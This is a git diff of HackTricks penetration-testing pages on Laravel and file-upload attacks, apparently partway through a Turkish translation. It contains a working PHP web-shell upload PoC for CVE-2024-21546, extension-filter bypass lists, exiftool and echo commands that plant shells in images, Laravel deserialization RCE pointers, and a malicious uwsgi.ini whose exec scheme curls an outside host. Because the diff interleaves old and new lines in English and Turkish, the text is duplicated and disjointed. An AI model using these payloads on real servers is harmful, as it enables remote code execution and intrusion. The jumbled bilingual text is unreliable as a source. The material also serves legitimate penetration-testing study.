#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
 | 
			
		||||
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
 | 
			
		||||
```
 | 
			
		||||
### Laravel Deserialization RCE
 | 
			
		||||
 | 
			
		||||
Hassas sürümler: 5.5.40 ve 5.6.x 5.6.29'a kadar ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
 | 
			
		||||
Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
 | 
			
		||||
 | 
			
		||||
Burada deserialization zafiyeti hakkında bilgi bulabilirsiniz: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
 | 
			
		||||
Deserialization vulnerability hakkında bilgi için şu kaynağa bakın: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
 | 
			
		||||
 | 
			
		||||
Bunu [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) kullanarak test edebilir ve istismar edebilirsiniz.\
 | 
			
		||||
Ya da metasploit ile de istismar edebilirsiniz: `use unix/http/laravel_token_unserialize_exec`
 | 
			
		||||
Şunu kullanarak test edip exploit edebilirsiniz: [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
 | 
			
		||||
Veya metasploit ile exploit edebilirsiniz: `use unix/http/laravel_token_unserialize_exec`
 | 
			
		||||
 | 
			
		||||
### CVE-2021-3129
 | 
			
		||||
 | 
			
		||||
@ -188,11 +233,15 @@ Başka bir deserialization: [https://github.com/ambionics/laravel-exploits](http
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
## Referanslar
 | 
			
		||||
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
 | 
			
		||||
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
 | 
			
		||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
 | 
			
		||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
 | 
			
		||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
 | 
			
		||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
 | 
			
		||||
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
 | 
			
		||||
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -2,12 +2,12 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Dosya Yükleme Genel Metodoloji
 | 
			
		||||
## Dosya Yükleme Genel Metodolojisi
 | 
			
		||||
 | 
			
		||||
Diğer faydalı uzantılar:
 | 
			
		||||
Diğer yararlı uzantılar:
 | 
			
		||||
 | 
			
		||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
 | 
			
		||||
- **PHPv8'de Çalışma**: _.php_, _.php4_, ._php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
 | 
			
		||||
- **PHPv8'de çalışma**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
 | 
			
		||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 | 
			
		||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 | 
			
		||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
 | 
			
		||||
@ -17,11 +17,11 @@ Diğer faydalı uzantılar:
 | 
			
		||||
 | 
			
		||||
### Dosya uzantısı kontrollerini atlatma
 | 
			
		||||
 | 
			
		||||
1. Eğer uygulanıyorsa, **önceki uzantıları** **kontrol edin.** Ayrıca bazılarını **büyük harflerle** de deneyin: _pHp, .pHP5, .PhAr ..._
 | 
			
		||||
2. _Çalıştırma uzantısından önce geçerli bir uzantı **eklemeyi** **kontrol edin** (önceki uzantıları da kullanın):_
 | 
			
		||||
1. Eğer uygulanıyorsa, **önceki uzantıları** **kontrol edin.** Ayrıca bunları bazı **büyük harflerle** de test edin: _pHp, .pHP5, .PhAr ..._
 | 
			
		||||
2. _Geçerli uzantıdan **önce geçerli bir uzantı eklemeyi** kontrol edin (önceki uzantıları da kullanın):_
 | 
			
		||||
- _file.png.php_
 | 
			
		||||
- _file.png.Php5_
 | 
			
		||||
3. Sonuna **özel karakterler eklemeyi** deneyin. Burp kullanarak tüm **ascii** ve **Unicode** karakterleri **bruteforce** edebilirsiniz. (_Ayrıca daha önce bahsedilen **uzantıları** de kullanmayı deneyebilirsiniz_)  
 | 
			
		||||
3. Sonuna **özel karakterler** eklemeyi deneyin. Burp ile tüm **ascii** ve **Unicode** karakterlerini **bruteforce** edebilirsiniz. (_Not: ayrıca **önceki** belirtilen **uzantıları** de deneyebilirsiniz_)
 | 
			
		||||
- _file.php%20_
 | 
			
		||||
- _file.php%0a_
 | 
			
		||||
- _file.php%00_
 | 
			
		||||
@ -31,7 +31,7 @@ Diğer faydalı uzantılar:
 | 
			
		||||
- _file._
 | 
			
		||||
- _file.php...._
 | 
			
		||||
- _file.pHp5...._
 | 
			
		||||
4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin **uzantıyı ikileme** veya uzantılar arasına **çöp** veri (**null bytes**) ekleme gibi teknikler. _Daha iyi bir payload hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
 | 
			
		||||
4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin **uzantıyı çiftleme** veya uzantılar arasına **gereksiz veri** (**null bytes**) ekleme. _Daha iyi bir payload hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
 | 
			
		||||
- _file.png.php_
 | 
			
		||||
- _file.png.pHp5_
 | 
			
		||||
- _file.php#.png_
 | 
			
		||||
@ -43,15 +43,15 @@ Diğer faydalı uzantılar:
 | 
			
		||||
5. Önceki kontrole **başka bir uzantı katmanı** ekleyin:
 | 
			
		||||
- _file.png.jpg.php_
 | 
			
		||||
- _file.php%00.png%00.jpg_
 | 
			
		||||
6. **Çalıştırma uzantısını** geçerli uzantıdan **önce koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda herhangi bir dosya uzantısı **.php** içeriyorsa, dosyanın sonu **.php** olmasa bile kod çalıştırılabilir):
 | 
			
		||||
6. **Exec uzantısını geçerli uzantıdan önce** koymaya çalışın ve sunucunun yanlış yapılandırılmış olmasını umut edin. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda **.php** uzantısını içeren ama **.php ile bitmeyen** dosyalar da çalıştırılabilir):
 | 
			
		||||
- _ex: file.php.png_
 | 
			
		||||
7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanımı. Bu durumda yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce iki nokta üst üste ":" karakteri eklenir. Sonuç olarak sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulur (ör. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı gibi başka tekniklerle düzenlenebilir. "**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta eklemek daha fazla kısıtlamayı atlatmak için faydalı olabilir (ör. "file.asp::$data.").
 | 
			
		||||
8. Dosya adı sınırlarını **aşmayı** deneyin. Geçerli uzantı kesilir ve kötü amaçlı PHP geride kalır. AAA<--SNIP-->AAA.php
 | 
			
		||||
7. **Windows** üzerinde **NTFS alternate data stream (ADS)** kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce bir iki nokta işareti ":" eklenir. Sonuç olarak, sunucuda **yasaklı uzantılı boş bir dosya** oluşturulur (ör. "file.asax:.jpg”). Bu dosya, kısa dosya adı kullanımı gibi başka tekniklerle daha sonra düzenlenebilir. "**::$data**” deseni de dolu olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek (örn. "file.asp::$data.") daha ileri kısıtlamaları atlatmakta faydalı olabilir.
 | 
			
		||||
8. Dosya adı sınırlarını kırmayı deneyin. Geçerli uzantı kesilir. Kötü amaçlı PHP dosyası geride kalır. AAA<--SNIP-->AAA.php
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
# Linux maximum 255 bytes
 | 
			
		||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
 | 
			
		||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
 | 
			
		||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
 | 
			
		||||
# Upload the file and check response how many characters it alllows. Let's say 236
 | 
			
		||||
python -c 'print "A" * 232'
 | 
			
		||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 | 
			
		||||
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 | 
			
		||||
AAA<--SNIP 232 A-->AAA.php.png
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
### Content-Type, Magic Number, Sıkıştırma ve Yeniden Boyutlandırmayı Atlatma
 | 
			
		||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
 | 
			
		||||
 | 
			
		||||
- **Content-Type** kontrollerini atlatmak için **Content-Type** başlığının değerini şu şekilde ayarlayın: _image/png_ , _text/plain , application/octet-stream_
 | 
			
		||||
Bazı upload handler'lar kaydedilen dosya adından sonundaki nokta karakterlerini kırpar veya normalize eder. UniSharp’ın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1'den önceki sürümlerinde, uzantı doğrulamasını atlatabilirsiniz:
 | 
			
		||||
 | 
			
		||||
- Geçerli bir image MIME ve magic header kullanın (ör. PNG için `\x89PNG\r\n\x1a\n`).
 | 
			
		||||
- Yüklenen dosyayı PHP uzantısı ve sonrasında bir nokta olacak şekilde adlandırın, örn. `shell.php.`.
 | 
			
		||||
- Sunucu sonundaki noktayı kaldırır ve `shell.php` olarak saklar; bu dosya web tarafından servis edilen bir dizine (varsayılan public storage gibi `/storage/files/`) yerleştirilirse çalıştırılır.
 | 
			
		||||
 | 
			
		||||
Minimal PoC (Burp Repeater):
 | 
			
		||||
```http
 | 
			
		||||
POST /profile/avatar HTTP/1.1
 | 
			
		||||
Host: target
 | 
			
		||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
 | 
			
		||||
 | 
			
		||||
------WebKitFormBoundary
 | 
			
		||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
 | 
			
		||||
Content-Type: image/png
 | 
			
		||||
 | 
			
		||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
 | 
			
		||||
------WebKitFormBoundary--
 | 
			
		||||
```
 | 
			
		||||
Sonra kaydedilen path'e istek gönderin (Laravel + LFM'de tipik):
 | 
			
		||||
```
 | 
			
		||||
GET /storage/files/0xdf.php?cmd=id
 | 
			
		||||
```
 | 
			
		||||
Mitigations:
 | 
			
		||||
- unisharp/laravel-filemanager paketini ≥ 2.9.1 sürümüne yükseltin.
 | 
			
		||||
- Sunucu tarafında sıkı allowlists uygulayın ve kalıcı dosya adını yeniden doğrulayın.
 | 
			
		||||
- Yüklemeleri non-executable konumlardan sunun.
 | 
			
		||||
 | 
			
		||||
### Bypass Content-Type, Magic Number, Compression & Resizing
 | 
			
		||||
 | 
			
		||||
- Bypass **Content-Type** kontrollerini, **Content-Type** **header**ının **value**sini şu şekilde ayarlayarak atlatın: _image/png_ , _text/plain , application/octet-stream_
 | 
			
		||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 | 
			
		||||
- **Magic number** kontrolünü atlatmak için dosyanın başına gerçek bir görüntünün **baytlarını** ekleyin (file komutunu yanıltmak için). Veya shell'i **metadata** içine yerleştirin:\
 | 
			
		||||
- Bypass **magic number** kontrolünü, dosyanın başına gerçek bir resmin **bytes**larını ekleyerek ( _file_ komutunu şaşırtır) atlatın. Veya shell'i **metadata** içine yerleştirin:\
 | 
			
		||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 | 
			
		||||
`\` veya payload'u doğrudan bir görüntüye de ekleyebilirsiniz:\
 | 
			
		||||
`\` veya yükü doğrudan bir görüntüye de ekleyebilirsiniz:\
 | 
			
		||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
 | 
			
		||||
- Eğer görüntünüze **sıkıştırma** uygulanıyorsa (ör. PHP-GD gibi kütüphaneler kullanılıyorsa), önceki teknikler işe yaramayabilir. Ancak **PLTE chunk** [**burada tanımlanan teknik**]ı kullanarak sıkıştırmadan **kurtulacak** metin ekleyebilirsiniz.
 | 
			
		||||
- Eğer **görüntünüze sıkıştırma (compression) ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi standart PHP kütüphaneleri kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanarak sıkıştırmadan **sağ çıkacak** metin ekleyebilirsiniz.
 | 
			
		||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
 | 
			
		||||
- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanılarak. Ancak **IDAT chunk** [**burada tanımlanan teknik**] yardımıyla sıkıştırmadan **sağ kurtulacak** metinler ekleyebilirsiniz.
 | 
			
		||||
- Web sayfası ayrıca resmi **yeniden boyutlandırıyor (resizing)** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanılıyor olabilir. Ancak, **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanarak sıkıştırmadan **sağ çıkacak** metin ekleyebilirsiniz.
 | 
			
		||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
 | 
			
		||||
- Görüntü yeniden boyutlandırmayı atlatan başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanarak payload oluşturmadır. Bunun yerine **tEXt chunk** [**burada tanımlanan teknik**] ile sıkıştırmadan **sağ kurtulacak** metin ekleyebilirsiniz.
 | 
			
		||||
- Görüntü yeniden boyutlandırmaya (resizing) dayanacak bir payload oluşturmak için başka bir teknik de PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanarak sıkıştırmadan **sağ çıkacak** metin ekleyebilirsiniz.
 | 
			
		||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 | 
			
		||||
 | 
			
		||||
### Kontrol edilecek Diğer İpuçları
 | 
			
		||||
### Other Tricks to check
 | 
			
		||||
 | 
			
		||||
- Yüklenen dosyanın adını değiştirebilecek bir açık bulun (uzantıyı değiştirmek için).
 | 
			
		||||
- Zaten yüklenmiş dosyayı **rename** ederek (uzantısını değiştirmek için) bir zafiyet bulun.
 | 
			
		||||
- Backdoor'u çalıştırmak için bir **Local File Inclusion** zafiyeti bulun.
 | 
			
		||||
- **Olası Bilgi sızıntısı**:
 | 
			
		||||
1. **Aynı dosyayı** **aynı isimle** **birden çok kez** (ve aynı anda) yükleyin.
 | 
			
		||||
2. Zaten var olan bir **dosya** veya **klasör** adını kullanarak dosya yükleyin.
 | 
			
		||||
3. Dosya adı olarak **"."**, **".."** veya **"..."** kullanarak yükleme yapın. Örneğin, Apache üzerinde **Windows** ise uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adlı bir dosya oluşturacaktır.
 | 
			
		||||
4. **NTFS** üzerinde silinmesi zor olabilecek bir dosya yükleyin, örneğin **"..:.jpg"**. (Windows)
 | 
			
		||||
5. Windows'ta dosya adına `|<>*?”` gibi **geçersiz karakterler** koyarak yükleyin. (Windows)
 | 
			
		||||
6. Windows'ta CON, PRN, AUX, NUL, COM1...COM9, LPT1...LPT9 gibi **ayrılmış (forbidden) isimleri** kullanarak dosya yükleyin.
 | 
			
		||||
- Ayrıca bir **executable** (.exe) veya daha az şüpheli bir **.html** yüklemeyi deneyin; kurban yanlışlıkla açtığında kod çalıştırabilir.
 | 
			
		||||
- **Olası bilgi sızdırma (Information disclosure)**:
 | 
			
		||||
1. Aynı dosyayı aynı adla **birden fazla kez** (ve **aynı anda**) yükleyin.
 | 
			
		||||
2. Zaten **var olan** bir **dosya** veya **klasörün** **adıyla** bir dosya yükleyin.
 | 
			
		||||
3. Dosya adını **"."**, **".."** veya **"..."** olarak yüklemek. Örneğin, Apache üzerinde **Windows**'ta uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adlı bir dosya oluşturacaktır.
 | 
			
		||||
4. **NTFS** üzerinde kolayca silinemeyebilecek bir dosya yükleyin, örneğin **"…:.jpg"**. (Windows)
 | 
			
		||||
5. **Windows** üzerinde adı `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows)
 | 
			
		||||
6. **Windows** üzerinde CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi **rezerve (yasak) isimleri** kullanarak dosya yükleyin.
 | 
			
		||||
- Ayrıca, kurban yanlışlıkla açtığında kod çalıştıracak bir **executable** (.exe) veya daha az şüpheli bir **.html** yüklemeyi deneyin.
 | 
			
		||||
 | 
			
		||||
### Özel uzantı taktikleri
 | 
			
		||||
### Special extension tricks
 | 
			
		||||
 | 
			
		||||
Eğer dosyaları bir **PHP server**'a yüklüyorsanız, kod çalıştırmak için [**.htaccess** taktiğine bakın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
 | 
			
		||||
Eğer dosyaları bir **ASP server**'a yüklüyorsanız, kod çalıştırmak için [**.config** taktiğine bakın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 | 
			
		||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
 | 
			
		||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 | 
			
		||||
 | 
			
		||||
`.phar` dosyaları Java için `.jar` gibidir, ama php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırılabilir veya bir script içine include edilebilir...)
 | 
			
		||||
`.phar` dosyaları java için `.jar` gibidir, fakat php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırmak veya bir script içine include etmek gibi...).
 | 
			
		||||
 | 
			
		||||
`.inc` uzantısı bazen sadece **import** edilen php dosyaları için kullanılır; dolayısıyla bir yerde bu uzantının **çalıştırılmasına izin verilmiş** olabilir.
 | 
			
		||||
`.inc` uzantısı bazen yalnızca dosya import etmek için kullanılan php dosyaları için kullanılır; dolayısıyla bir noktada biri bu uzantının **çalıştırılmasına izin vermiş olabilir**.
 | 
			
		||||
 | 
			
		||||
## **Jetty RCE**
 | 
			
		||||
 | 
			
		||||
Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, [yeni \*.xml ve \*.war dosyaları otomatik olarak işlendiği için RCE elde edebilirsiniz](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu yüzden, aşağıdaki görselde belirtildiği gibi XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin!
 | 
			
		||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
## **uWSGI RCE**
 | 
			
		||||
 | 
			
		||||
Detaylı inceleme için orijinal araştırmayı kontrol edin: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 | 
			
		||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 | 
			
		||||
 | 
			
		||||
Remote Command Execution (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme imkanı olan uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenleri, yer tutucuları ve operatörleri içerebilen özel bir sözdizimi kullanır. Özellikle `@(filename)` şeklinde kullanılan '@' operatörü bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya izin verir. Bir `.ini` dosyası işlendiğinde bu özellik, Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı işlemler için manipüle edilebilir.
 | 
			
		||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
 | 
			
		||||
 | 
			
		||||
Aşağıda çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyasına örnek verilmektedir:
 | 
			
		||||
Çeşitli scheme'leri gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün:
 | 
			
		||||
```ini
 | 
			
		||||
[uwsgi]
 | 
			
		||||
; read from a symbol
 | 
			
		||||
@ -126,14 +156,23 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 | 
			
		||||
; call a function returning a char *
 | 
			
		||||
characters = @(call://uwsgi_func)
 | 
			
		||||
```
 | 
			
		||||
Payload'un çalıştırılması, yapılandırma dosyasının parse edilmesi sırasında gerçekleşir. Yapılandırmanın etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (potansiyel olarak bir çökme sonrası veya bir Denial of Service attack nedeniyle) ya da dosyanın auto-reload olarak ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirli aralıklarla yeniden yükler.
 | 
			
		||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
 | 
			
		||||
 | 
			
		||||
uWSGI'nin yapılandırma dosyası parsing'inin gevşek doğasını anlamak çok önemlidir. Özellikle, burada tartışılan payload bir binary file içine (örneğin bir image veya PDF) yerleştirilebilir; bu da potansiyel exploit kapsamını daha da genişletir.
 | 
			
		||||
Payload'un yürütülmesi, konfigürasyon dosyasının parse edilmesi sırasında gerçekleşir. Konfigürasyonun etkinleştirilip parse edilmesi için uWSGI sürecinin ya yeniden başlatılması (olası bir çökme sonrası veya bir Denial of Service saldırısı nedeniyle) ya da dosyanın otomatik yeniden yüklemeye (auto-reload) ayarlanması gerekir. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirli aralıklarla yeniden yükler.
 | 
			
		||||
 | 
			
		||||
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
 | 
			
		||||
 | 
			
		||||
uWSGI'nin konfigürasyon dosyası parse etme işleminin gevşek olduğunu anlamak çok önemlidir. Özellikle, burada bahsedilen payload bir ikili (binary) dosyaya (örneğin bir resim veya PDF) yerleştirilebilir; bu da potansiyel istismar alanını daha da genişletir.
 | 
			
		||||
 | 
			
		||||
## **wget File Upload/SSRF Trick**
 | 
			
		||||
 | 
			
		||||
Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL** belirtebildiğinizi görebilirsiniz. Bu gibi durumlarda, kod indirilen dosyaların uzantısının bir beyaz listede olup olmadığını kontrol ediyor olabilir; böylece yalnızca izin verilen dosyalar indirilecek. Ancak, **bu kontrol atlatılabilir.**\
 | 
			
		||||
**linux**'da bir **filename**'in **maximum** uzunluğu **255**'tir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adlı bir dosyayı **download** edebilirsiniz; bu dosya adı **kontrolü** **atlatır** (bu örnekte **".gif"** geçerli bir uzantıdır) fakat `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandırır**.
 | 
			
		||||
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
 | 
			
		||||
 | 
			
		||||
